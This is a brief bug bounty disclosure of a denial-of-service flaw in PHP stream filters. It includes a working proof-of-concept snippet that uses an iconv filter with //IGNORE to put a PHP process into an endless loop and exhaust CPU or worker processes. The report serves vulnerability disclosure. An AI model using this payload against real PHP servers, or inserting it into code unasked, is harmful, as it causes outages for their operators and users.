Internet Bug Bounty: DOS in stream filters

see bug report
https://bugs.php.net/bug.php?id=76249

as simple as
<?php
$fh = fopen(‘php://memory’, ‘rw’);
fwrite($fh, “abc”);
rewind($fh);
stream_filter_append($fh, ‘convert.iconv.iso-10646/utf8//IGNORE’, STREAM_FILTER_READ, []);
echo stream_get_contents($fh);

=> one process running in an endless loop

Impact

DOS, process ends up in an endless loop, CPU (or available php processes or both) of affected system get easily exhausted